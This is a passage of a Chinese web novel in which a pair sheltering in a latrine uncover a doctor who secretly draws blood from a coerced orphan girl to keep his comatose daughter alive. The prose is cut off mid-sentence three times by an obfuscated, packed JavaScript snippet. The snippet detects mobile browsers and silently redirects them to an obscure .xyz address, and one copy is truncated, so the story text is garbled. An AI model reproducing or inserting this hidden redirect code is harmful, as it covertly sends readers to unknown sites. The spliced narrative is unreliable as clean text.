她还记着回家照顾假人,还要寻凶手的线索。陆子礼这边多耽搁半天都不行了。 一寸光阴一寸金,从前她只以为这是念书勤学之辈才该谨记于心的。哪知,这竟摇身一变,成了这辈子自己想要生活下去的唯一信条。 关阇彦整个人都僵了,起初任魏郁春如何叫唤,他都不愿意答应,还表示大不了花些钱住个客栈得了。 可当下冯家困难,手里头紧,未来一个月内也赚不了钱了,这钱不到万不得已的时候,怎么能说花就花了! 魏郁春不同意他的决定,他头痛不已,咬牙提议,大不了二人同居一间,他这个大少爷肯屈尊纡贵一晚。魏郁春知道这厮不知廉耻,没想到这么没皮,明明有婚约,怎能与别的女子孤男寡女共处一室?! 此时,王二郎不禁插话一句,话音谄媚:“最近的老街客栈就是一间也要二十文一晚呢!禺山镇可是方圆百里最有钱的镇子了!” 他是料想这两个吃个饭都只舍得付几个文钱的白面馒头钱,哪里来的闲钱花二十文巨款住客栈啊!他心中笑侃,提醒二人的时候,脸上的笑容都是促狭戏谑的。 “这下你没话说了吧?我有十文都押到陆子礼那边了,身上仅有八只钱币!”魏郁春压声不悦道。 关阇彦哼笑两声,已是无语到了极点,饶是那颗高贵的头颅还是不肯俯就。就连王二郎看到了都不禁拿手驱驱晦气味儿,心奇,此人都这么穷困了,怎么还能做到这么高傲的?没有廉耻心的么? 最后,是魏郁春威逼关阇彦若是不从,明日就撂担子不管他,不仅不陪他把病根愈好,更不会施舍一分银钱给他吃喝拉撒,到时候还要自己抓着钱币跑走,让他一个没啥力气就回嘴犟的病秧子留在禺山镇饿死算了! 关阇彦拍桌怒斥她——白眼狼一个,即便她回了古溪村如何,他病一日不好就一日无法帮她查案伸冤,一月过去,她必遭灭顶厄难。 最后他们木讷相视,发现二人已是共生关系,缺一不可,谁都不将就谁的下场,无非就这两个——一个饿死他乡,一个绝命于非议。 好了,此乃无解之题。 王二郎在两个红着脸争吵的人的夹缝中瑟缩不止,他有些受不了了,于是大声制止道:“你们不要再吵了!再闹到宵禁时分,我找里正大人来为我评理了!” 又是里正! 本来关阇彦还希冀于威逼王二郎收容他们一晚,结果这下肯定没戏了。他忿忿不平地瞪了魏郁春一眼,表示自己完全咽不下一口气。 可还有别的办法了吗? 当然没有,关阇彦心里比谁都清楚这个答案,就是那口气咽不下,还找不到理由反击。 他能做的就是跟着魏郁春乖乖走的时候,嘴里要嘀嘀咕咕两句,表明自己若不是走投无路,断不会学她做出这等荒唐事。 他是心里过意不去极了,在茅房住一晚上……这事传出去了,他那帮同僚岂不是笑话死他?!还有他爹娘、那瞧不上眼的魏家、天下百姓、圣人、朝廷忠臣,日后都要怎么看他?!岂有此理! 在魏郁春眼里,别看他这人平时在外话少嘴毒,恨不得一口下去直接给人一击毙命。结果脾气一闹,他定比娇滴滴的娘子家都要骄纵,话腾地变多数倍,威力骤降,就像是丢了脸拼命给自己圆场一样,手忙脚乱,话语的威力难以全部做到极致。 估摸着这人还哄不好——她断不会哄,所以不知这句定义的轻重,只能取一句“估摸”来概况。 …… 离那一爿竹林越近,那股难闻的骚味儿和在霉气作乱时空前发酵,浊臭味儿越来越熏人,走在前头的魏郁春差点被熏出泪来——毕竟是人人都可来往的公溷,砌得大,囤的污秽物够多,想来也是长时间无人清理,为了方便掏粪设计的。 竹林清幽净气,公溷建在此地,这些气味就会被竹林围绕出来的无形墙挡住。若无人特意凑近竹林,难闻味儿就祸害不了人。 但这些巧思对于魏郁春和关阇彦来说,皆是大谈特谈的空话了。 公溷它自己也未曾想过,贱地一个,还能有朝一日被人当作挡雨休憩的不二之选。 魏郁春鼻翼颤抖,最后全顾不得形容得不得体,捏着鼻子冒着雨踏进了竹林屏障,蹲在茅房入口的无门矮墙下扭曲着痛苦的面容,完全不敢去看厕里暴露的大屎坑。 关阇彦看她也不好受,反而心里得了慰藉,未做任何保护措施的情况下,他抱胸而立,垂眸不屑地看着怪可怜的女子,冷嘲热讽道:“捏着鼻子难道不更恶心吗?你总得拿嘴巴呼吸的,不是吗?” 本来靠着自欺欺人的骗术好过一些的魏郁春,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447376|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下子被他的话击垮心底防线,简直有令她信仰崩塌的威力。她松下手,猛地又嗅到一大口腐臭粪味儿,当即干呕几口。 关阇彦被她逗得开怀大笑,冷峻的面容寒意散解几分,笑意上涌,竟补充了别样的讥讽之意。 魏郁春倏尔抬首,盯着他幸灾乐祸的冷脸,怪异地扯了把唇角,唇线弯曲几度,心里头极不舒适。 “我刚才看到粪坑之中盈满了污秽粪水,好几个风化成了石头的屎块头缀在里头,好像还有白花花的蛆虫在里头扭动安家呢,”她察觉到了只要自个把恶心的东西说给别人听,自己就不会觉得作呕难耐。她把这股情绪转移给了旁人,甭管对方接不接受,都得被恶心一波才算事。 方才关阇彦对她冷嘲热讽,不也是耍的这番花招么?她学得极快,当即以其人之道还治其人之身了。 即便天黑看不到人面,魏郁春也能想象到关阇彦那张比吃了屎还难受的脸色,心中莫名雀跃。她已经许久没这么打心底欢欣过了——其中半点杂质和顾虑都没有。 “往里头挪挪,你出的好主意,必先准你舒坦个够。” 关阇彦几乎是一个字一个字咬出口的,语气冷重得似饱含了深仇大恨般。 魏郁春哪肯同意?只是茅厕再大,也仅是比寻常见到的仅能站一人的家厕大上一圈罢了。暴露在外的门洞窄小无比,一次偏偏仅容一人出入。眼见关阇彦高大的身子前移,要来推人,魏郁春大惊,忙不迭地改变双腿蹲下的姿势。 因为若是不变姿势,对方一腿,保不齐就直接掉茅坑里头了! 然后,魏郁春就“心甘情愿”地让出了她的位置,关阇彦发现臭还是一般的臭,结果看着魏郁春在更里面嗅着更浓烈的气味,他竟开心得不得了,活似回到了稚子童年,爱以整人为乐趣了。他就连笑色都单纯天真了不少,可惜魏郁春还沉浸在悲愤中,没注意他的变化。 他在这方面的洁癖心重,若什么都不在意就这么坐下去,只怕以后如厕想起来都浑身不如意。 幸好夜晚不算凉,他干脆拖下外面的一层布衣,徒留一件贴身的灰衫裹着身子。他把外衣当作垫底,靠了门侧倚坐下去。 然魏郁春还一直保持着抱膝而蹲的姿势,浑身还都冒着湿气,衣服不如他男子样式的厚实。她其实也很在意茅厕之事,可她若是学他一起脱衣而坐,不出半夜必要着凉发热。 关阇彦神色微微动摇,看着魏郁春湿漉漉的发顶,和抱着身体有蜷缩之态的她,不知为何将起联想为成了落汤鸡的发抖鹌鹑,竟有些可怜……这女子今日曾不止一次拿他被病根限制的身子说事,可到最后看,她却比他更虚弱,更需要人照拂…… 还真是没点自知之明呢。 魏郁春的耳边再度响起关阇彦洋洋得意的声音:“你看我对你够意思的吧?靠门的位置雨凉,我给你挡着了,你才不容易着凉。在里头被我罩着的滋味肯定不错吧。” 她还在气头上,抬眸刚要开口,却见关阇彦手里抓着一片不知什么时候被他撕成两半的垫底外衣,他正把其中一半递给她。她一时怔住。 “喏,拿过去垫着点,坐下来没那么累,至少也没那么膈应。当然你要再多我也给不了了。”他声线向上,不知他在自傲个什么劲儿。 可魏郁春心头却突地一软,她也不知道自己在感叹个什么劲儿。 雨声入耳,越显清晰,清晰到仿佛一针一滴都能细品一二,她又好似瞥见关阇彦靠外的面侧都沾了密密麻麻的雨珠,雨珠汇聚成流,似泪一样滑落以高挺鼻梁为界而划分的另一半的脸庞。明明周遭都很暗,伸手不见五指,但她就是莫名拥有了这种视野。或许说,这只是她一些不值一提的想象力,她被这种想象力迷惑了判断力。 她承认自己现在被某种诡异的气氛捕获了心神,没法挣脱。而且她简直难以想象,这种诡异气氛竟出现在粪臭难敌的茅厕里,实属莫名其妙。 她庆幸气味太过难闻,所以很快就清醒了回来,气焰全消,讷讷接过湿湿的布衣,信口提了一嘴细嗅可闻尴尬的话:“多谢。” …… 夜色渐沉,半夜三更时分,隔着竹林和茅草院用篱笆做成的围墙,传来一阵令人毛骨悚然哭声,似是童音,声音很细嫩,尖细却不大。 关阇彦在当前环境下很难舒坦而眠,所以一直悬着几丝神智警惕周遭的动静。 这几丝童哭一把将他唤醒,一睁眼时就是分外清醒的状态。 34. 童鬼夜哭(2) 四周蛙鸣已息,雨脚变细,打入竹林敲动叶片,“哗啦啦”作响一片。潮气甫入尘土,沿着每一寸湿泥,将温度送入茅房的风口。好似有一双又一双的鬼手骚动着密密麻麻的手指,挠着关阇彦的皮肤。 这些动静将孩童的哭声烘托得越发神秘,甚至让他有了些许错觉——他开始怀疑这到底是不是活物的声响,稚嫩的声线起伏不定,乍闻似抽噎哭声,可但凡多留意,就又会觉得那物是在咯咯诡笑。 童音如嗔如笑,持续许久,时间越久,声音就越发虚弱,有要减弱的趋势。关阇彦心中琢磨,这样的动静但凡出了距离茅草院两尺朝外的地方,都难以被捕捉。然茅草院建得远离尘嚣,虽与巷街距离不远,二者之间却有不少葱郁草木充当隔绝。 所以,符合捕捉条件的地方唯有这片靠院后西侧的空幽竹林。 若不是今晚被迫呆在此地避雨,他可没有机会察觉此怪异之处。 他确信这些鬼童之音的源头就在竹林旁的茅草院——“这陆子礼处处都有鬼……” 短短功夫内,关阇彦已疑心四起,狂狂如乱风般席卷他的心神,他确信童音的存在必乃属实,微探内息,发掘休息了几个时辰已有少则一成的功力恢复好了。 翻翻墙应应该不成问题。 他决心去探探院中情况,瞥眸身侧垂着脑袋的魏郁春,嘴角扯顿——不是吧?如此熏臭之地也可睡得如此安稳,倒是好养活。 不对!或许……他狐疑地盯着魏郁春埋在臂弯里侧摆的脸庞,呼吸好似极其缓慢。他欲伸手去探看,又思及孤男寡女之忌,不愿僭越……罢了,都睡茅厕了,还有什么讲究不讲究的! 他甩头抛开乱七八糟的念头,抬手而去,用手背碰到女子的额头,烫地如同刚从炉子里取出来的红薯。他手温冰凉,被这么一烫,大为惊诧。 他扶额咬牙,倍显难堪,心中难免抱怨:“她怎么这么容易中热病?!” 也不知此时什么时辰了……现在夜深人静,周边无人可帮她,他身上也没有备应急的药物。关阇彦仔细端摩着魏郁春的神色,她除了身子发烫、呼吸减慢外,无其他异样,也就是热病还没有很严重。 在感叹魏郁春命运多舛的时候,他也想好,为今之计就只好看她自己的造化了,若是命不该决,她定会坚持到明早。若是老天爷还尚对她有些许同情之心,明早天亮之时,雨就该停了。现在能帮他们的人,唯有竹林外茅草院中的陆子礼…… 一想到明日没办法按计划直接取药走人,还要看不知多久陆子礼的眼色,他满心郁结地闭上了略显疲惫的眼。 关阇彦方料理好魏郁春的事情,刚要出去探童哭之声时,那些透过林幽之静传进来的声音就戛然而止了。 他清醒的神智更紧绷了几分,他不甘心地追着声音飘过的痕迹追索到茅草院,一人之高的篱笆挡着他的视线,被分隔成无数只窗格般的画面中,一切还是那么地死寂,好似任何风吹草动都被提前框定好了动机,重复着在不同的时间点摇摆浮动。 茅草院中依旧没有任何灯光,雨水还在下,漫天阴云,遮月而行。眼力甚佳的关阇彦一连好几次没分辨出脚底下坑坑洼洼的水坑,无数次踩进去,脏了裤腿。 这院子中并无任何特别之处,掩饰在童音之上的神秘感顷刻消匿,他差点以为方才感觉到的阴气森森不过都是一场诞梦。 “怪了……” 他不知道是不是发出声音的鬼东西知道了他的动作,一见他来就收敛了动静。他也不知道这些是不是巧合。 但他还是一个箭步攀着篱笆杆,一跃而上,轻声踏足在淤泥遍布的院中,他浑身的毛孔都已张开,前前后后不知长了多少只眼睛,片刻不松懈地收集其中所有异样。 此时—— 深藏于东侧、朝南北方向延申的茅草屋群的某处屋角的暗室中。 屋内昏暗一片,近乎失了分辨其与墨夜的棱角。若不仔细看,还以为屋内外早已融成了黑水烂淌在了雨坑之中。 可平平无奇的屋子中却暗藏玄机,角落塞满落了半指深灰尘的杂物,而最接触地面的一处箱箧的底部,却有一只方块样的地板,外面流泄着黄色的光线,将地板牢牢包裹着。 若变作飞鸟俯瞰,只觉得此乃某种深藏古籍的流光阵法,神秘却诡异。 方形的黄色光线下藏着的便是通往地下暗室的甬道,甬道直抵深地,阴气更甚,故而阶梯状甬道两边皆安置着抖动豆大烛火的灯盏。 关合甬道阶梯上伪装成砖块的方块地板留出些许让灯光溢出的小缝隙,那些在外看似神迹的光线就是由此而出。 虽然灯盏渺小,灯火昏黄,可长时间驻足于昏暗之地,再晦暗的光芒也显得惹眼。 地室下,陆子礼换了一身庄重的浓黑色长袍,拖曳着地室灰扑扑一地的尘土,虽说是长袍,可做工粗糙,边边角角无不冒着寒酸的粗丝,看着像是自己随手拿了一件改长的粗衣泡进染液粗劣制成的,因为在很多衣物的褶皱处,还泛着白黄白黄的斑点,依稀能从中看出这件粗衣原本的模样。 黑色长袍还缝了只硕大的斗篷,陆子礼将其牢牢扣在脑袋上,遮住他半张脸,隐隐之下,唯有他那白如死人的面色和干瘪无色的唇瓣暴露在昏昏然的灯光下。 他哪有半分医者之风,浑身上下倒是无处不透露着阴邪之气,不像是白天要死不死、要活不活的短命鬼,反像极了偷练什么左道之术的邪道。 他将唇抿得紧紧的,闭合的唇线之处剧烈地颤抖着,配合着颤抖的是他从宽衣袍伸出去的那只手。 他身姿高大,面前安置着的是一张与地室周遭荒凉之相显得格格不入的软床。软床下是用柴棒沾着碳粉画出的大圆,床头床尾衔接大圆,两侧则有两个半圈的小灯烛按照轨迹,整整齐齐排列在上头。 如此布局颇具巧思,可此处巧思沾染了不知多少的私心邪念,显得这就是某种邪术施展时所需要的阵法。 软床上躺着一个身材娇小的女孩儿,她身上盖着一张松软的棉被,面庞红润,呼吸匀紧,乌黑乌黑的油亮长发随意散在床铺上,瓷娃娃一般睡得很熟。 可床尾处也有一只耷拉着双腿荡在支撑软床的木板的外头的,和床上安睡女孩儿一般年纪的小丫头。 她额角鸦羽般的几撮绒毛被汗水浸湿,她脑后扎着的一对羊角辫早已散乱,一半都散落在后脖颈处,有些狼狈。 陆子礼黑袍下颤抖不止的手将羊角髻女孩儿的口捂得严严实实,那小女孩无心继续淌泪,只好挣扎于在他的手缝中寻找呼吸的机会。 陆子礼颤抖而抿紧的唇鼓了鼓,一句从喉间挤出的微哑低吼声,如同深渊般吞噬人心:“今夜为何哭闹,你我分明早有约定!” 羊角髻女孩儿大大的瞳仁被吓得顿缩,她身子软了软,好似松了劲儿。 …… 关阇彦在上面步履如飞,即便他已很小心,可若是步入靠近陆子礼所在地室上空的范围,下面的人依旧能很块察觉端倪。关阇彦其实并不知道自己走到了什么地方,只是沿着空地或者廊道抹黑而行。 可下面的人却不会这么认为,陆子礼浑身汗毛顿立,呼吸也变得越来越沉重。 不仅是他,被捂住口急促呼吸的小丫头也有了反应,她眼神快速飘到室顶脚步匆忙掠过的地方,紧张地亮了亮眼睛,好似在瞧见什么曙光。 她松骨的身子登时又挺立回来,面对陆子礼的要挟,还是义无反顾地“呜呜”好几声,希冀能被地室上的关阇彦听到。 陆子礼的神色则越来越凝重苍白,他疯魔的劲儿上脑,按耐小丫头的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陆子礼瞪了一眼神情紧张的羊角髻女孩儿,恶声道:“一个月前,你哭哭闹闹我并无意见,只当是让你熟悉这些必经之苦,但一月既过,你怎可继续放肆?” 说话间,他已经将第一根针扎入了熟睡的女孩儿臂膀上,那根针为取血而故意磨了空心,比寻常针灸所用的针要粗上五倍。 羊角髻女孩儿被此物害得曾痛到哭干泪腺好几日,被针刺过的臂膀也常常布满深紫色淤青,伤处被长衣藏在里头,难以外露。 可床上的女孩却依旧无知无感地阖着眸,一时间不知她究竟是个白净无暇的小美人,还是一具好看却没有呼吸的瓷摆件。 羊角髻女孩儿盯着这个女孩儿,知道这便是陆子礼最为宝贵的女儿,而她的女儿不知生了什么怪病,陆子礼竟要她没日没夜地为其输血续命。 可他坚持到现在,从未见女儿醒过,不管他对她做出什么样的事情,她都一直这样沉睡着,什么反应也不会有。 羊角髻女孩儿记得最初见到这个女孩儿的时候,她皮肤冰白无血色,摸起来也和死人一样没有温度,就吊着最后一口呼吸活着。 陆子礼坚信于某种突然获得的秘术可以起死回生,他信仰指引秘术的“天仙”,对照秘术找到了和他女儿同年同月同日生的她,让她为其流血续命。 作为报酬,陆子礼则答应收她这个流窜于各个镇子和村子间的小乞丐做干女儿,她不必食不果腹,不必衣不蔽体。 为了换取这些生机之本,她仅仅需要每日提供自己的血液,还有绝大多数的自由。 她答应了,并且一答应便是一个多月。 如今,陆子礼居然真的靠着天上掉下来的大好秘术,将他那差点下地府的宝贝女儿抢了回来。 他的女儿呼吸趋于了稳定,面色不再枯黄,变得越来越红润,本就白皙皮肤的她,躺在软被上,就像是睡着了一样,哪有半点绝症不治之样? 可陆子礼却与之相反,因为让他女儿恢复成现在这样的功劳,并不都归功于羊角髻丫头——陆子礼已经将第二根针送入了自己的臂膀,毫无犹豫地,他竟半点闷痛之声都没有发出。 羊角髻女孩对此已不敢再多看,因为她知道陆子礼疯得厉害。 35. 天仙秘术 陆子礼预先将用两只针头交集出来的输血管,将他与女儿的血脉连通起来。 各式各样的瓶子与输血线路也连接着,分成两派,极小如拇指盖大笑的一边瓶子储蓄着女儿泛着黑光的毒血,大如成年男人的拳头的一边瓶子,则收集着从他身体内抽出来的健康的鲜血。 两边瓶子血液交互起来,竟能有条不紊地将父女之间的血液进行交替。 陆子礼有神医之才,隐匿于山谷,终身学问尽数灌输于这一套被他操作得行云流水的药器。他信奉于两个月前获得的天仙秘法,为此不眠不休一个月,耗尽财资研制了这些旁人闻所未闻、见所未见的诡状异形之物,搭配这套器具使用的,自然是他背道异俗的操作手段。 他一开始并不知道这一切是不是真的有用,可那天仙秘术字字句句皆带着摄人心魄的魅力,他执念太深,在钻研这些邪秘文字时,早已深陷其中。 他寻来一位符合秘法条件的孤女,孤注一掷,却没想到真的可以成功下去,女儿的形容愈发健益,他却为换血,将女儿身毒尽数引入己体,变得越来越人不人鬼不鬼…… 所以,羊角髻女孩儿才会觉得他已疯魔无救了。 随着换血的进程步入尾声,陆子礼苍白的脸已变得越来越干瘪,两畔脸颊已没了形状,同深凹下去的眼圈的颜色一样青乌,形容枯槁。躺在床上的女儿原本瓷娃娃般饱满净白的面容也渐渐黯淡下去。父女二人皆因暂时性的缺血变得虚弱。 陆子礼见羊角髻丫头已无挣扎之意,松开了钳制她的手。 闲置在一侧的第三根血针终究是扎进了她一直不见好的胳膊上,小丫头挤出两行泪,无声痛泣。 秘术以南禺古文书写而就,陆子礼将此翻译出来的内容便是这些—— 幼童换血之术,若为疗病之需,需一位于绝症之人同庚同性之人,在不可违逆天仙之则下,为其输鲜血。 若与绝症之人同庚同性者,与绝症者血缘相近相通,绝症者毒血必需遵阴阳交替之则替补同庚同性者之鲜血,一旦同庚同性者之鲜血被污染,则需继续换取其他符合换血条件者。永无止境。 若与绝症之人同庚同性者,与绝症者血缘相悖,需一位与绝症者血缘相近相通者作媒介,替绝症者、同庚同性者遵阴阳之则,绝症者所弃毒血灌入媒介之身,而媒介之血则为引导同庚同性者鲜血的缘点。 媒介已有,绝症者毒血不可再污染同庚同性者之身,以免遭天仙怒斥、秘术反噬。 秘术所需之法器,遗落酆都罗山,凡取用者不可犯戒,犯戒者必携法器跪行至酆都罗山奉罪。 …… 陆子礼寻来的小孤女,便是以上“与绝症之人同庚同性者”,可其和女儿的血缘并不相通,而陆子礼自作主张地当了秘术中的媒介。 所以在一开始,他会让自己和女儿的血脉连同起来,将二者的血液储蓄在瓶罐中,慢慢进行交替,可二者交替的速度并不同。陆子礼被抽出的大把血液几乎要等到积蓄他血液的瓶满溢出时,那些微不足道的溢血也会慢慢流入女儿的体内。 可此时,女儿的毒血只是在积蓄她血液的小瓶短暂停歇,之后便几乎全部转入了他的体内——看似交互替换的情形,其实是单方面的汲取和付出。 陆子礼抽出的那么多血液,唯有一点流入女儿体内的才有效用——作为让羊角髻输血时的血缘媒介。其他留在瓶中的已被毒血污染了许久的血液的唯一作用,仅仅是让陆子礼在体内空出更多的空间,去储蓄女儿流向他的毒血。 眼看着毒血尽数被灌入了他这个媒介的体内,他才将第三根针头扎进了羊角髻孤女的手臂,连接她血管的另一头则单单换作了陆子礼的女儿。她鲜红而健康的血液顺着极粗的针头流入输血管,和奇奇怪怪的釉陶瓶中,顺着一丝没入床上女孩儿的媒介之血,快速补充入她失了不少毒血的体内。 病女黯淡下去的脸蛋再次变得红扑扑起来,又变成了一只宁静安好的小女娃娃。 羊角髻孤女脸色却灰败了下去,却不至于像陆子礼那样干瘪失色。 她失了太多力气,整个人只好软瘫瘫地侧躺在了床边,睁着眼无声盯着陆子礼。 陆子礼对她说着:“昨日我已叫货郎多备了补血的猪肝,今日炒好过来给你,多吃一些。” 他的嗓音一如既往地粘滞,听得人浑身难受,但比起平常,他的气息却弱了很多,给人一种下一刻便要断气般的错觉。 他孱弱地撩开遮挡面目的黑帽,将可怖的面容露出来,又扶着床板虚虚地坐下,整个人浑身都弥漫着平静的死气。 他继续说着:“我答应过你,你只要乖乖帮我,我就会给你想要的生活。你不必流落街头,不必为了照顾同样身为孤儿的妹妹四处逃窜奔波。你也不会一直挨饿、挨冻……” 他忽地将视线转移到羊角髻孤女身上,语气不再僵硬,些许威胁之气爬上了话头,再蔓延到孤女的脊背上:“我说过,你的妹妹我安置给了好人家,同你一样,再也不会吃苦,你根本不需要再惦记她的安危。既然如此,你今日又为何闹腾不安啊?莫非是不知足于什么地方,还是想你妹妹了?” 孤女因疲乏而变得空洞的眼神沉沉重下去。 她回忆起昨日偷偷从地室溜出来时,看到那一男一女两个进入茅草院子的人身上,分明挂着两只做工熟悉的草编蛐蛐。她一眼就看出了这是妹妹的手笔。 她和妹妹自出生起便相依为命,妹妹年纪很小,和姐姐四处流浪吃苦,总会羡慕过路的同龄小孩儿总有各种新奇的玩儿物。身为姐姐的她,虽然年纪也不大,可到底还是被责任硬生生拉扯成了心性成熟稳重的性子,她一直想办法哄妹妹开心,自己苦一些便罢了,妹妹便不要学自己了。 可是她们温饱都难以维系,姐姐哪里来的钱给妹妹买那些市井孩童玩弄的小物件?直到后来,姐姐来到了禺山镇,遇到了靠竹编摆摊的镇人,她总是偷偷躲在离摊位最近的角落里,学着镇人拨弄手艺。 她没有镇人专门制备的竹编,只有从野地里寻来的坚韧长草。久而久之,她也熟悉了编草的技能,照葫芦画瓢地,还依着田间蛐蛐儿的模样,做了小玩意儿给妹妹把玩。 妹妹心性单纯,手活儿也笨拙,她喜欢姐姐的草编蛐蛐,吵着要学,可跟着姐姐学了许久,编出来的蛐蛐总是缺胳膊少腿。后来,还没等妹妹编出像样的草蛐蛐儿,她就离开了妹妹的身边,来到了陆子礼的家中为卖血维生。 姐姐从未想过,有朝一日还能再看到用自己独创手法制出来的草编蛐蛐——她确信,除了她和妹妹姊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447378|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妹二人以外,定无旁人知晓其中诀窍——除非妹妹主动讲草蛐蛐的法子告诉了旁人。 可这又怎么可能呢?妹妹她自己都摸不透其中巧意,何谈教会别人?而且她们姊妹二人先前约定过,这是衔接她们心灵的纽带,不能告诉别人的。 姐姐见到两只蛐蛐儿已有了形,虽然还有不少瑕疵。可挂在那两个村人腰间上,远看过去,其实已有惟妙惟肖之态。 妹妹竟然真的学会了。 姐姐昨日听到有人敲打茅草院的门,好奇之心怂恿她偷偷溜出来,谁知竟就此勘破陆子礼的谎言——妹妹原来还在禺山镇。 因为陆子礼将她带入家中前,是这样说的——“我听你说过你的妹妹。我要做的事情不可违逆天仙之言,所以只能收留你一人,若你愿意,我就帮你将你妹妹安置到我远在他乡的友人家中。你们姐妹两个虽分隔两地,却再不会流离失所,吃遍人间疾苦。” 言下之意便是,若是她不答应,妹妹也会继续跟着自己过着从前的苦日子。可是那时,她好似也没有拒绝的余地了——陆子礼的条件实在诱人。 地室内围绕着软床排布的烛火已经挨个熄灭了,陆子礼的话音将孤女的神智从回忆中拉回。 “今日不凑巧,家中有人拜访,你差点便将他们引来。” 他没有想过孤女今日逃出来过,所以只以为她是因为畏惧疼痛才嚎啕大哭,而不是因为她是看到了那二人可能和妹妹有关联,才故意引来他们的。 “若有下次,我便叫我那远在外地的友人将你妹妹弃走,可好?” 虽然声线平静,可每个字节都让孤女听得浑身战栗发抖。 “你撒谎……我妹妹明明还在禺山镇,你撒谎……”孤女的声带颤抖着,可这些话她只能在心底骂着,她太累了,浑身都被抽干了一样,声带都要破碎了。 这些话她根本难以说出来。她没有任何把握。 但她还是竭尽全力地要将全身微不足道的气力都汇聚到喉间,“撒谎”一词刚要脱口而出。 她侧躺下去时,微微倾斜的眸子,却瞥到了床上散发女孩儿眉尖有细微地舒动,她登时愣住。 一瞬间,无数种可能在脑中闪过,她将要与陆子礼鱼死网破的动机藏住,“撒谎”一词终究是咽回了嗓子。 她故意挪动了动身子,挡住了床上女孩儿的面容。 陆子礼注意力都在孤女身上,并没有察觉自己女儿身上的异样。 他见孤女目着脸不作声,又道:“早些歇息,白日我会带草药给你们敷好伤口。” 于是,他起身离去,他体内毒血堆积,将他的五脏内服冲撞得快要搅乱在一起,他虽面色如常,但实际上已经忍着这样的痛楚许久了。 为了避免在外人面前失态,他只好选择早日离去。他需要处理很多东西,并且将它们一起带走,所以再痛再累,他都不能留在地室内休息。 他坐着把所有沾血的器物带走。起身时,他高大的脊背颓然地佝偻下去,一身宽大的衣袍将他瘦削的背影填充得臃肿,他的鬓间添了更多的白发。 他一夜之间像是直接老了数十岁,已有耄耋之态。 围绕着软床摆开的烛火,也皆被他塞入了床底,地室内空落落的,仅剩下一张好似祭台的软床。 36. 非人一面(1) 孤女瘫躺在床上,看着陆子礼头上越来越泛滥的白发,想着他第二日一定会再用碳粉将其掩饰成一头黑发吧。 她嘴边忽地挂起怪异的笑容,可因为太过颓虚,这抹惨笑苍白得瘆人。 她在笑陆子礼真是凄惨,也笑他可能一辈子都想不通,她是如何在白日偷溜出这狭小到仅能摆下一张床,和一地仿照着某种诡异阵法摆出的火烛的地室的。 这一个多月来,她献祭了自己的鲜血,还有绝大多数的自由。 陆子礼似乎很害怕自己的女儿某一日醒来,会发现他为她犯下的这么多禁忌之事。所以起初,除非子时做法时,他都会把自己的宝贝女儿抱离地室,而因失血晕倒的孤女则安置在此地软床安睡。 但后来,陆子礼为秘术献祭身体后,每当子时换血之术完成后,他连牵动自己身体离开的力气都块消失殆尽了,更不谈有能将自己十岁的女儿抱走的本事了。他虽然一直坚信着秘术和信仰可以让女儿的不治之症消失,但他心里也清楚,女儿形容虽恢复了很多,但若要醒来还需要太多时间的等待和付出。 所以,陆子礼便不强求于子时换血结束后,就把女儿立马抱走了。往往天明时,他才会褪去一身黑袍,染好一头已经斑白的发,形容勉强有些气色后,才会来到地室将女儿抱出。 可让孤女一直呆在这暗无天日的地室内,实在太过泯灭人性,也影响了她的心性发育,不利于身体恢复,耽误了每晚子时的换血便不好了。 但他也绝不会随意让孤女行走在外,他不仅忧虑女儿醒来后发现她的存在,也是担心孤女发现他的谎言后决心造反溜走,再将他们之间的秘密泄露——此乃违逆天仙秘术之举。 所以每隔七日,他都会解开白日砖门的锁,让孤女出来透气一日,同他一起在屋檐下正常吃喝,正常相处,一到夜晚,孤女则要随他回到地室内。陆子礼和她就这样循环往复地生活了一个多月。 而昨日,并非陆子礼为她安排的七日之期,陆子礼自然将锁住地室的密钥藏得严实,女儿亦被抱出地室,唯她一人在地室,怎么可能还会出来? 所以,他什么事情都怀疑过,唯独不肯信她是昨日自己溜出来,知晓了有人在外,才故意在子时哭喊出声的。 可是,最不可能的事情就是发生了——孤女逃出了封闭的地室,帮她偷来陆子礼藏起来的钥匙的人,便是在陆子礼眼中,还需许久才会醒来的宝贝女儿,陆长岁。陆子礼怕是做梦都想不到,她的宝贝女儿其实早已醒过了。但是,孤女永远不会告诉他这个秘密。 思及此处,孤女侧躺在床上的脑袋艰难地动了动,直到可以完完全全看清床上闭着眸子的陆长岁时,她才不动了。 陆长岁微微皱起来的眉尖已经平缓回去了,她那么安静地抚着软被,侧耳而眠。她总是这副不问世事的模样。 孤女哑声唤了陆长岁一句:“喂,你还是第一次这么早就有反应,是要醒了吗?” 孤女说着说着,声音就哽咽起来,满脸破碎地流着清泪,她神神叨叨地对着床上的丫头念着:“我后悔了……我早该把你想知道的秘密告诉你的。陆长岁,今日你若还能醒来,我必将你阿爹的秘密通通告诉你,再也不瞒你了,怎么样?” “我不该这么自私的……都怪我一味的想着自己快活,轻信了陆子礼的浑话。我不想再呆在这里了,我要去找妹妹。长岁……你帮帮我,好不好?” 